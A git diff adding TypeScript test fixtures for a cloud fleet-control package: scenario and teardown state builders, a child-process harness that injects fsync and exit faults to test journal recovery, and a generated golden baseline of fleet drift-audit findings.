+          role: 'b' as const,
+          release: '1' as const,
+          marker: 'initial' as const,
+          ordinal: 1,
+        },
+        {
+          role: 'recovery' as const,
+          release: '1' as const,
+          marker: 'initial' as const,
+          ordinal: 1,
+        },
+        {
+          role: 'a' as const,
+          release: '2' as const,
+          marker: 'next' as const,
+          ordinal: 1,
+        },
+        {
+          role: 'b' as const,
+          release: '2' as const,
+          marker: 'next' as const,
+          ordinal: 1,
+        },
+      ],
+      inventories: { before: inventoryProof(), after: inventoryProof() },
+      audits: { before: auditProof(), after: auditProof() },
+      fence: {
+        drain: { a: fenceTransition(), b: fenceTransition() },
+        sweeps: { a: fenceSweeps(), b: fenceSweeps() },
+        reopen: { a: fenceTransition(), b: fenceTransition() },
+        probes: { a: fenceProbes(), b: fenceProbes() },
+      },
+      restart: {
+        process: { ...PROCESS },
+        resumedProcess: { ...RESUMED },
+        lossOrdinal: 1,
+        operationId: MAX_ID,
+        witnessSha256: DIGEST,
+        claimSha256: DIGEST,
+        successorSha256: DIGEST,
+        itemsSha256: DIGEST,
+        replayOrdinal: 2,
+      },
+      steps: Array.from({ length: 64 }, (_entry, index) => ({
+        ordinal: 1,
+        itemOrdinal: (index % 2) as 0 | 1,
+        step: MAX_ID,
+        beforeCursor: MAX_COUNT,
+        afterCursor: MAX_COUNT,
+        provider: MAX_COUNT,
+        maintenance: MAX_COUNT,
+        application: MAX_COUNT,
+      })),
+      effects: (['a', 'b'] as const).map((role) => ({
+        role,
+        tenantTag: MAX_ID,
+        environment: MAX_ID,
+        scriptName: MAX_ID,
+        databaseId: MAX_ID,
+        versionId: MAX_ID,
+        specDigest: DIGEST,
+        schemaVersion: 2,
+        settlementKey: DIGEST,
+        identitySha256: DIGEST,
+        provenanceSha256: DIGEST,
+      })),
+      cleanup: {
+        version: 1 as const,
+        operationId: MAX_ID,
+        tenantTag: MAX_ID,
+        environment: MAX_ID,
+        backend: 'plain-worker' as const,
+        scriptName: MAX_ID,
+        databaseId: MAX_ID,
+        databaseName: MAX_ID,
+        authority: 'provisioning-rollback' as const,
+        admittedPhase: MAX_ID,
+        disposition: 'reservation-cleared' as const,
+        evidence: {
+          eligibility: 'reservation-only' as const,
+          ingressRemoved: true,
+          workerAbsent: true,
+          platformResourcesAbsent: true,
+          applicationR2Settled: true,
+          databaseAbsentReadback: true,
+          scan: {
+            discover: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT },
+            verify: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT },
+          },
+        },
+        completedAtMs: MAX_COUNT,
+      },
+      exports: { a: exportProof('a'), b: exportProof('b') },
+      exportVerifications: Array.from({ length: 16 }, () => exportProof('a')),
+      decommission: {
+        a: {
+          operationId: MAX_ID,
+          databaseId: MAX_ID,
+          scriptName: MAX_ID,
+          phase: 'decommissioned' as const,
+        },
+        b: {
+          operationId: MAX_ID,
+          databaseId: MAX_ID,
+          scriptName: MAX_ID,
+          phase: 'decommissioned' as const,
+        },
+      },
+      terminalForce: {
+        a: {
+          databaseId: MAX_ID,
+          scriptName: MAX_ID,
+          ordinal: 3,
+          attempts: {
+            provider: MAX_COUNT,
+            maintenance: MAX_COUNT,
+            application: MAX_COUNT,
+          },
+        },
+      },
+      force: footprint(),
+      residual: footprint(),
+    },
+  } as MutableScenario;
+}
+
+export function scenarioWith(
+  mutate: (state: MutableScenario) => unknown,
+  callKind: 'audit-page' | 'force-terminal' = 'force-terminal',
+): MutableScenario {
+  const state = maximalScenario(callKind);
+  mutate(state);
+  return state;
+}
+
+export async function scenarioJournal(limit = 8, disposableAccount = true) {
+  const f = await fixture(limit, disposableAccount);
+  const journal = await opened({ ...f.input, mode: 'run' });
+  await confirmedBootstrap(f, journal);
+  let ordinal = 0;
+  for (let index = 0; index < 3; index++) {
+    const reservation = await journal.reserveInvocation(f.request());
+    await journal.settleInvocation(reservation);
+    ordinal = reservation.ordinal;
+  }
+  await journal.recordBootstrapObservation({ kind: 'control-read', ordinal });
+  return { f, journal };
+}
+
+export const EXPORT_IDENTITY = {
+  a: { databaseId: 'database-a', operationId: 'operation-a' },
+  b: { databaseId: 'database-b', operationId: 'operation-b' },
+} as const;
+
+export function exportKey(prefix: string, role: 'a' | 'b') {
+  const { databaseId, operationId } = EXPORT_IDENTITY[role];
+  return `${prefix}/receipts/v1/${databaseId}/${operationId}.sql`;
+}
+
+export function completeScenario(): MutableScenario {
+  return scenarioWith((state) => {
+    state.phase = 'complete';
+    state.failure = null;
+    const [armA, armB] = state.proofs.steps;
+    if (!armA || !armB) throw new Error('scenario fixture lost its steps');
+    armA.step = 'arm-maintenance';
+    armB.step = 'arm-maintenance';
+    for (const role of ['a', 'b'] as const) {
+      const proof = present(state.proofs.exports[role]);
+      proof.receipt.databaseId = EXPORT_IDENTITY[role].databaseId;
+      proof.receipt.operationId = EXPORT_IDENTITY[role].operationId;
+    }
+    state.proofs.exportVerifications = state.proofs.exportVerifications.map(
+      (_entry, index) =>
+        structuredClone(present(state.proofs.exports[index % 2 ? 'b' : 'a'])),
+    );
+  });
+}
+
+export async function completeScenarioJournal(
+  limit = 8,
+  disposableAccount = true,
+) {
+  const opening = await scenarioJournal(limit, disposableAccount);
+  await opening.journal.recordScenario(completeScenario());
+  return opening;
+}
+
+export type MutableResidual = Omit<
+  Mutable<DirectResidualObservation>,
+  'bucketJurisdictions'
+> & { bucketJurisdictions: ['default'] };
+export type MutableTeardown = Omit<Mutable<DirectTeardownState>, 'residual'> & {
+  residual: MutableResidual | null;
+};
+export const MAX_NAME = 'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes);
+export const MAX_KEY = `k/${'k'.repeat(DIRECT_TEARDOWN_MAXIMA.keyBytes - 2)}`;
+
+export function residualObservation(): MutableResidual {
+  return {
+    version: 1,
+    surfaces: Object.fromEntries(
+      DIRECT_RESIDUAL_SURFACES.map((surface) => [
+        surface,
+        {
+          prefixCount: MAX_COUNT,
+          prefixNames: Array.from(
+            { length: DIRECT_TEARDOWN_MAXIMA.prefixNames },
+            () => MAX_NAME,
+          ),
+          globalCount: MAX_COUNT,
+          exhaustive: true,
+        },
+      ]),
+    ) as MutableResidual['surfaces'],
+    bucketJurisdictions: ['default'],
+    dispatch: {
+      kind: 'enumerated',
+      count: MAX_COUNT,
+      status: MAX_COUNT,
+      prefixCount: MAX_COUNT,
+    },
+    versionsGone: false,
+    settleAttempts: DIRECT_TEARDOWN_MAXIMA.settleAttempts,
+  };
+}
+
+export function maximalTeardown(): MutableTeardown {
+  const settlement = { ordinal: MAX_COUNT, settledByReread: true };
+  return {
+    version: 1,
+    phase: 'complete',
+    pending: null,
+    receipts: {
+      ingress: { ...settlement },
+      worker: {
+        scriptName: MAX_NAME,
+        secretNames: Array.from(
+          { length: DIRECT_TEARDOWN_MAXIMA.secretNames },
+          () => MAX_NAME,
+        ),
+        ...settlement,
+      },
+      fleet: { uuid: MAX_NAME, ...settlement },
+      quota: { uuid: MAX_NAME, ...settlement },
+      exportObjects: Array.from(
+        { length: DIRECT_TEARDOWN_MAXIMA.exportObjects },
+        (_entry, index) => ({
+          key: `${index}${MAX_KEY.slice(1)}`,
+          ...settlement,
+        }),
+      ),
+      exports: { name: MAX_NAME, ...settlement },
+    },
+    residual: residualObservation(),
+    providerRequests: MAX_COUNT,
+    failure: 'residual-present',
+  };
+}
+
+export function teardownState(): MutableTeardown {
+  return {
+    version: 1,
+    phase: 'ingress',
+    pending: null,
+    receipts: {
+      ingress: null,
+      worker: null,
+      fleet: null,
+      quota: null,
+      exportObjects: [],
+      exports: null,
+    },
+    residual: null,
+    providerRequests: 0,
+    failure: null,
+  };
+}
+
+export function teardownWith(
+  mutate: (state: MutableTeardown) => unknown,
+): MutableTeardown {
+  const state = teardownState();
+  mutate(state);
+  return state;
+}
diff --git a/packages/fleet-control/test/fixtures/direct-scenario-harness.ts b/packages/fleet-control/test/fixtures/direct-scenario-harness.ts
new file mode 100644
index 00000000..4012510e
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-scenario-harness.ts
@@ -0,0 +1,194 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { expect } from 'vitest';
+import { createDirectInvocationClient } from '../../scripts/direct-credentialed-invocation.mjs';
+import {
+  type DirectRunJournal,
+  openDirectRunState,
+} from '../../scripts/direct-credentialed-run-state.mjs';
+import type { DirectScenarioOutcome } from '../../scripts/direct-credentialed-scenario.mjs';
+import {
+  directBridgePreamble,
+  directModuleUrl,
+  spawnDirectChild,
+} from './direct-cli-child.js';
+import { directObservationFixture } from './direct-observations.js';
+import { createDirectReferenceHarness } from './direct-reference-harness.js';
+import { cleanupDirectRunState } from './direct-run-state-builder.js';
+
+export type DirectScenarioNodeResponse = NonNullable<
+  NonNullable<
+    Parameters<typeof createDirectReferenceHarness>[0]
+  >['nodeResponse']
+>;
+
+/**
+ * Closers the scenario suites hand back, newest first. The suites push their
+ * own observation fixtures onto it, so it lives beside the helpers that
+ * create them rather than in each suite.
+ */
+export const directScenarioCleanup: (() => Promise<void>)[] = [];
+
+export async function closeDirectScenarioFixtures() {
+  const results = await Promise.allSettled(
+    directScenarioCleanup
+      .splice(0)
+      .reverse()
+      .map((close) => close()),
+  );
+  await cleanupDirectRunState();
+  const failed = results.filter((result) => result.status === 'rejected');
+  expect(failed).toEqual([]);
+}
+
+export async function createDirectScenarioFixture(
+  options: { nodeResponse?: DirectScenarioNodeResponse } = {},
+) {
+  const local = await directObservationFixture(30_000, 'confirmed', {
+    invocationTimeoutMs: 600_000,
+    maxProviderRequests: 1000,
+  });
+  directScenarioCleanup.push(() => local.close());
+  const native = await createDirectReferenceHarness({
+    manifest: local.prepared.manifest,
+    binding: {
+      version: 1,
+      accountId: 'account',
+      fleetDatabaseId: 'fleet-id',
+      quotaDatabaseId: 'quota-id',
+      exportBucketName: local.prepared.names.exportBucket,
+      referenceModuleSetSha256: local.prepared.referenceModuleSetSha256,
+      accountWorkersDevSubdomain: 'attested-account',
+    },
+    maintenanceNow: Date.now,
+    applicationProbes: true,
+    nodeProviderRest: true,
+    ...(options.nodeResponse ? { nodeResponse: options.nodeResponse } : {}),
+  });
+  directScenarioCleanup.push(() => native.close());
+  const input = (journal: DirectRunJournal = local.journal) => ({
+    prepared: local.prepared,
+    journal,
+    apiToken: 'inert-provider-token',
+    fetch: native.fetch,
+    invocation: createDirectInvocationClient({
+      prepared: local.prepared,
+      journal,
+      accountWorkersDevSubdomain: native.binding.accountWorkersDevSubdomain,
+      invokeSecret: 'inert-invoke',
+      fetch: native.fetch,
+    }),
+  });
+  return { local, native, input };
+}
+
+export type DirectScenarioFixture = Awaited<
+  ReturnType<typeof createDirectScenarioFixture>
+>;
+
+export async function resumeDirectScenarioJournal(f: DirectScenarioFixture) {
+  const resumed = await openDirectRunState({
+    configPath: f.local.configPath,
+    prepared: f.local.prepared,
+    accountId: 'account',
+    mode: 'resume',
+  });
+  directScenarioCleanup.push(() => resumed.close());
+  return resumed;
+}
+
+/**
+ * The journal wrapper a faulted child installs: it records the scenario, then
+ * stops the process at the first state matching `predicate`, so the suite can
+ * re-enter from a boundary the parent process cannot reach.
+ */
+const childFault = (
+  name: string,
+  predicate: string,
+) => `const faulted = Object.freeze({
+  ...journal,
+  recordScenario: async (...args) => {
+    const result = await journal.recordScenario(...args);
+    const [scenario] = args;
+    if (${predicate}) {
+      console.log('SCENARIO_FAULT ${name}');
+      process.exit(0);
+    }
+    return result;
+  },
+});`;
+
+export async function childResumeDirectScenario(
+  f: DirectScenarioFixture,
+  fault?:
+    | 'export-fsync'
+    | 'fence-reopen-after-settle'
+    | 'fence-drain-role-split',
+) {
+  await f.local.journal.close();
+  const script = join(f.local.directory, 'resume.mjs');
+  await writeFile(
+    script,
+    `
+import {preflightDirectConformance} from ${JSON.stringify(directModuleUrl('direct-credentialed-conformance-preflight'))};
+import {openDirectRunState} from ${JSON.stringify(directModuleUrl('direct-credentialed-run-state'))};
+import {createDirectInvocationClient} from ${JSON.stringify(directModuleUrl('direct-credentialed-invocation'))};
+import {runDirectCredentialedScenario} from ${JSON.stringify(directModuleUrl('direct-credentialed-scenario'))};
+import fs from 'node:fs/promises';
+import {syncBuiltinESMExports} from 'node:module';
+${fault === 'export-fsync' ? `const realOpen=fs.open;let injected=false;fs.open=async(...args)=>{const handle=await realOpen(...args);if(String(args[0]).includes('/.journal-')){const realWrite=handle.writeFile.bind(handle),realSync=handle.sync.bind(handle);let proof=false;handle.writeFile=async(value,...rest)=>{const state=JSON.parse(String(value));proof=Boolean(state.scenario?.proofs.exports.a);return realWrite(value,...rest);};handle.sync=async()=>{if(proof&&!injected){injected=true;console.log('SCENARIO_FAULT export-fsync');throw new Error('fixture proof fsync failure');}return realSync();};}return handle;};syncBuiltinESMExports();` : ''}
+const prepared=await preflightDirectConformance({configPath:${JSON.stringify(f.local.configPath)}});
+const journal=await openDirectRunState({configPath:${JSON.stringify(f.local.configPath)},prepared,accountId:'account',mode:'resume'});
+${
+  fault === 'fence-reopen-after-settle'
+    ? childFault(
+        fault,
+        `scenario.phase === 'fence-reopen' &&
+        scenario.mutation?.outcome === 'returned' &&
+        scenario.mutation?.action?.kind === 'tenant-fence' &&
+        scenario.mutation?.action?.operation === 'reopen' &&
+        scenario.mutation?.action?.role === 'a' &&
+        scenario.proofs.fence.reopen.a?.after === null`,
+      )
+    : fault === 'fence-drain-role-split'
+      ? childFault(
+          fault,
+          `scenario.phase === 'fence-drain' &&
+        scenario.proofs.fence.drain.a?.after != null &&
+        scenario.proofs.fence.sweeps.a !== null &&
+        scenario.proofs.fence.drain.b?.after === null &&
+        scenario.proofs.fence.drain.b?.ordinal === null`,
+        )
+      : 'const faulted = journal;'
+}
+${directBridgePreamble({
+  bridgeUrl: f.native.bridgeUrl,
+  workerOrigin: `https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`,
+})}try {const invocation=createDirectInvocationClient({prepared,journal: faulted,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal: faulted,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await faulted.close();}
+`,
+  );
+  const { status, stdout, stderr } = await spawnDirectChild([script], {
+    timeoutMs: 540_000,
+  });
+  expect({ status, stderr }).toEqual({ status: 0, stderr: '' });
+  const line = stdout
+    .split('\n')
+    .find((line) => line.startsWith('SCENARIO_RESULT '));
+  if (!line) {
+    if (
+      fault !== 'fence-reopen-after-settle' &&
+      fault !== 'fence-drain-role-split'
+    )
+      throw new Error(`child returned no result: ${stdout}`);
+    return { result: null, stdout, stderr };
+  }
+  return {
+    result: JSON.parse(
+      line.slice('SCENARIO_RESULT '.length),
+    ) as DirectScenarioOutcome,
+    stdout,
+    stderr,
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts
new file mode 100644
index 00000000..5a11410e
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts
@@ -0,0 +1,409 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * GENERATED FILE. DO NOT EDIT BY HAND.
+ */
+
+import type { DriftFinding } from '../../src/fleet.js';
+import type { AuditOpLogEntry } from './fleet-audit-world.js';
+
+export const AUDIT_BASELINE_FINDINGS = [
+  {
+    tenantTag: 'seed-provider',
+    environment: 'production',
+    kind: 'stale-route',
+    detail: 'seeded provider finding carried through the golden baseline',
+  },
+  {
+    tenantTag: 'ghost-registration',
+    environment: 'production',
+    kind: 'orphan-deployment',
+    detail:
+      "registered script 'ghost-registered-script' has no live fleet owner",
+  },
+  {
+    tenantTag: 'ghost-live',
+    environment: 'production',
+    kind: 'orphan-deployment',
+    detail: "unregistered script 'ghost-live-script'",
+  },
+  {
+    tenantTag: 'livedup',
+    environment: 'production',
+    kind: 'duplicate-deployment',
+    detail: "expected lifecycle Worker 'livedup-worker' appears 2 times",
+  },
+  {
+    tenantTag: 'missingdeploy',
+    environment: 'production',
+    kind: 'missing-deployment',
+    detail:
+      "expected lifecycle Worker 'missingdeploy-worker' is absent from provider inventory",
+  },
+  {
+    tenantTag: 'stalenotready',
+    environment: 'production',
+    kind: 'missing-deployment',
+    detail:
+      "expected lifecycle Worker 'stalenotready-worker' is absent from provider inventory",
+  },
+  {
+    tenantTag: 'unknown',
+    environment: 'unknown',
+    kind: 'orphan-database',
+    detail: "unregistered fleet database 'db-orphan-ghost'",
+  },
+  {
+    tenantTag: 'orphan-route-owner',
+    environment: 'production',
+    kind: 'orphan-route',
+    detail:
+      "route 'orphan-route.example.test' points to unregistered mapping 'nonexistent-script'",
+  },
+  {
+    tenantTag: 'routedup',
+    environment: 'production',
+    kind: 'orphan-route',
+    detail:
+      "route 'routedup.example.test' points to unregistered mapping 'route-dup-ghost-script'",
+  },
+  {
+    tenantTag: 'unknown',
+    environment: 'unknown',
+    kind: 'orphan-namespace',
+    detail: "unregistered Durable Object namespace 'ns-orphan-ghost'",
+  },
+  {
+    tenantTag: 'unknown',
+    environment: 'unknown',
+    kind: 'orphan-namespace',
+    detail: "unregistered Durable Object namespace 'ns-bindingmismatch-wrong'",
+  },
+  {
+    tenantTag: 'recdupb',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-recdupb' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'dupexpnsb',
+    environment: 'production',
+    kind: 'duplicate-namespace',
+    detail: "namespace 'ns-shared-expected' also bound to dupexpnsa:production",
+  },
+  {
+    tenantTag: 'missingns',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-missing-expected' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'missingdeploy',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-missingdeploy' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'dbmismatch',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-dbmismatch' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'bindingmismatch',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-bindingmismatch' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'routebroken',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-routebroken' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-platformdrift-missing' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'duplicate-namespace',
+    detail: "namespace 'ns-shared-expected' also bound to dupexpnsa:production",
+  },
+  {
+    tenantTag: 'stalenotready',
+    environment: 'production',
+    kind: 'missing-namespace',
+    detail:
+      "expected Durable Object namespace 'ns-stalenotready' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'r2dupb',
+    environment: 'production',
+    kind: 'r2-bucket-drift',
+    detail: "R2 bucket 'shared-bucket' is claimed by more than one deployment",
+  },
+  {
+    tenantTag: 'unknown',
+    environment: 'unknown',
+    kind: 'orphan-r2-bucket',
+    detail: "unregistered fleet R2 bucket 'bucket-orphan-ghost'",
+  },
+  {
+    tenantTag: 'r2missing',
+    environment: 'production',
+    kind: 'missing-r2-bucket',
+    detail:
+      "expected R2 bucket 'bucket-missing' is absent from fleet inventory",
+  },
+  {
+    tenantTag: 'r2drift',
+    environment: 'production',
+    kind: 'r2-bucket-drift',
+    detail: "R2 bucket 'bucket-drift' changed its persisted creation identity",
+  },
+  {
+    tenantTag: 'recdupa',
+    environment: 'production',
+    kind: 'duplicate-deployment',
+    detail: "script 'shared-record-script' is registered 2 times",
+  },
+  {
+    tenantTag: 'recdupb',
+    environment: 'production',
+    kind: 'duplicate-deployment',
+    detail: "script 'shared-record-script' is registered 2 times",
+  },
+  {
+    tenantTag: 'dbmismatch',
+    environment: 'production',
+    kind: 'database-mismatch',
+    detail:
+      "fleet inventory does not contain exactly database 'db-dbmismatch' for 'dbmismatch-worker'",
+  },
+  {
+    tenantTag: 'bindingmismatch',
+    environment: 'production',
+    kind: 'binding-drift',
+    detail:
+      'expected RUNNER:Runner:ns-bindingmismatch, found RUNNER:Runner:ns-bindingmismatch-wrong',
+  },
+  {
+    tenantTag: 'routebroken',
+    environment: 'production',
+    kind: 'route-drift',
+    detail:
+      "deployment inventory does not contain exactly route 'routebroken.example.test'",
+  },
+  {
+    tenantTag: 'routebroken',
+    environment: 'production',
+    kind: 'route-drift',
+    detail: "route 'routebroken.example.test' is missing or mismatched",
+  },
+  {
+    tenantTag: 'routedup',
+    environment: 'production',
+    kind: 'duplicate-route',
+    detail: "route 'routedup.example.test' appears 2 times",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'version-drift',
+    detail:
+      "trusted Worker 'platform-drift-state-worker' has drifted ownership or artifact metadata",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'binding-drift',
+    detail:
+      "trusted state Worker 'platform-drift-state-worker' has drifted database, Durable Object, or egress bindings",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'version-drift',
+    detail:
+      "trusted Worker 'platform-drift-egress-worker' has drifted ownership or artifact metadata",
+  },
+  {
+    tenantTag: 'platformdrift',
+    environment: 'production',
+    kind: 'binding-drift',
+    detail:
+      "trusted egress Worker 'platform-drift-egress-worker' has drifted policy or attribution bindings",
+  },
+  {
+    tenantTag: 'channeldrift',
+    environment: 'production',
+    kind: 'binding-drift',
+    detail:
+      "release 'channeldrift-worker' has drifted trusted channel bindings",
+  },
+  {
+    tenantTag: 'inspectabsent',
+    environment: 'production',
+    kind: 'missing-deployment',
+    detail: "script 'inspectabsent-worker' is absent",
+  },
+  {
+    tenantTag: 'maintstale',
+    environment: 'production',
+    kind: 'maintenance-stale',
+    detail: 'maintenance scheduler is not armed',
+  },
+  {
+    tenantTag: 'rearmfail',
+    environment: 'production',
+    kind: 'maintenance-stale',
+    detail: 'maintenance scheduler is not armed',
+  },
+  {
+    tenantTag: 'rearmfail',
+    environment: 'production',
+    kind: 'audit-error',
+    detail: 'maintenance re-arm failed: Error: maintenance re-arm failed',
+  },
+  {
+    tenantTag: 'stalenotready',
+    environment: 'production',
+    kind: 'incomplete-provisioning',
+    detail: "phase 'worker-deployed' has not advanced",
+  },
+  {
+    tenantTag: 'wfprelease',
+    environment: 'production',
+    kind: 'version-drift',
+    detail:
+      "lifecycle release 'wfp-release-pending' does not match its persisted identity, artifact, schema, and spec digest",
+  },
+  {
+    tenantTag: 'wfprelease',
+    environment: 'production',
+    kind: 'audit-error',
+    detail:
+      "lifecycle release 'wfp-release-pending' has no durable binding topology",
+  },
+  {
+    tenantTag: 'wfprelease',
+    environment: 'production',
+    kind: 'version-drift',
+    detail:
+      "lifecycle release 'wfp-release-active' does not match its persisted identity, artifact, schema, and spec digest",
+  },
+  {
+    tenantTag: 'wfprelease',
+    environment: 'production',
+    kind: 'database-mismatch',
+    detail:
+      "lifecycle release 'wfp-release-active' is not bound exactly to database 'db-wfprelease'",
+  },
+  {
+    tenantTag: 'wfprelease',
+    environment: 'production',
+    kind: 'binding-drift',
+    detail:
+      "lifecycle release 'wfp-release-active' has drifted Durable Object, service, queue, application variable, R2, or secret topology",
+  },
+] as const satisfies readonly DriftFinding[];
+
+export const AUDIT_BASELINE_OPS = [
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'withDeploymentLease',
+  'get',
+  'put',
+  'assertOwned:maintstale:production',
+  'ensureMaintenance',
+  'resolver:backendFor',
+  'resolver:specFor',
+  'resolver:maintenanceSecretFor',
+  'inspect',
+  'withDeploymentLease',
+  'get',
+  'put',
+  'assertOwned:rearmfail:production',
+  'ensureMaintenance',
+] as const satisfies readonly AuditOpLogEntry[];
diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts
new file mode 100644
index 00000000..4ecca279
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts
@@ -0,0 +1,1213 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * Hand-authored deterministic world for the `auditFleetDrift` golden baseline.
+ * `scripts/record-audit-baseline.mjs` and `test/fleet-audit-golden.test.ts` both
+ * import this file; the recorder NEVER writes it, so the recorded literals can
+ * never rewrite their own input.
+ *
+ * The world freezes the SHIPPED behavior of `auditFleetDrift` in
+ * `src/fleet.ts` (lines 560-1403) before its internals are decomposed into
+ * bounded stages (R4-B.2), so the decomposition can be proven
+ * behavior-equivalent. It drives every finding kind `auditFleetDrift` itself
+ * pushes except `duplicate-database` (pinned exact-order by
+ * fleet.test.ts:803); provider-supplied inventory-finding kinds are
+ * represented by the single seeded `stale-route`. It also records both
+ * the exact findings array AND the exact sequence of calls the function makes
+ * onto its `store`, `backendFor`, `specFor`, and `maintenanceSecretFor`
+ * collaborators (the "op log") — every
+ * `withDeploymentLease`/`get`/`put`/`inspect`/`ensureMaintenance` call, every
+ * `resolver:<kind>` invocation, and every `lease.assertOwned()` call (tagged
+ * `assertOwned:<tenantTag>:<environment>`, the only op token that carries a
+ * key — every other token is bare because relative order alone identifies it
+ * against this frozen, single-pass world).
+ *
+ * Most records are independent "stories", each engineered to trip one or a
+ * few specific `findings.push(...)` sites in `auditFleetDrift`; a handful of
+ * sites are deliberately left uncovered by this world and pinned instead by
+ * the existing exact-order titles in `test/fleet.test.ts`:
+ *   - fleet.ts:1047, :1059, :1103, :1273 (the `String(error)` resolver- and
+ *     inspection-failure catch sites) — this world's `backendFor`/
+ *     `specFor`/`maintenanceSecretFor`/`inspect` collaborators never throw,
+ *     so only `test/fleet.test.ts:2384` ("contains resolver, inspection,
+ *     and maintenance re-arm failures per deployment") exercises them.
+ *   - fleet.ts:1291, :1300, :1313, :1328 (the `database-mismatch`,
+ *     `duplicate-database`, `duplicate-namespace`, and `version-drift`
+ *     checks that compare against `backend.inspect()`'s OWN reported
+ *     identity, not the per-record inventory entry) — pinned instead by
+ *     `test/fleet.test.ts:803` ("finds duplicate ownership, version drift,
+ *     and re-arms stale maintenance"); `duplicate-database` (fleet.ts:1300)
+ *     has no story in this world at all.
+ *   - fleet.ts:1393 (`maintenance re-arm failed`) IS covered here (by
+ *     `rearmFail`, below), so `test/fleet.test.ts:2384`'s pin of the same
+ *     site is redundant with this world, not a gap it fills.
+ *   - fleet.ts:581-608 and the fleet.ts:866 `continue` (the active-bounded-
+ *     cleanup suppression branch) — no record in this world has an active
+ *     cleanup, so the branch is deliberately unexercised here; pinned
+ *     instead by `test/fleet.test.ts:2454` ("suppresses drift findings in
+ *     both directions for a deployment under active bounded cleanup") and
+ *     `test/fleet.test.ts:2536` ("reports no incomplete provisioning for a
+ *     stale blocked cleanup record").
+ */
+
+import { auditFleetDrift, type DriftFinding } from '../../src/fleet.js';
+import { providerBindingIdentitiesForInspection } from '../../src/provider-binding-inventory.js';
+import type {
+  ActiveRouteAttestation,
+  CleanupTerminalReceipt,
+  DatabaseExport,
+  DatabaseReference,
+  DeploymentSpec,
+  ExternalMutationFence,
+  FleetInventoryDeployment,
+  FleetRecord,
+  FleetResourceInventory,
+  FleetStateLease,
+  FleetStateStore,
+  LiveDeployment,
+  MaintenanceHealth,
+  ProvisioningBackend,
+  ProvisioningBackendKind,
+  SeedDeploymentIdentityOptions,
+} from '../../src/types.js';
+
+const ENVIRONMENT = 'production';
+const SPEC_DIGEST = 'a'.repeat(64);
+
+/** Frozen clock: every staleness comparison and the re-arm authority clock. */
+const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z');
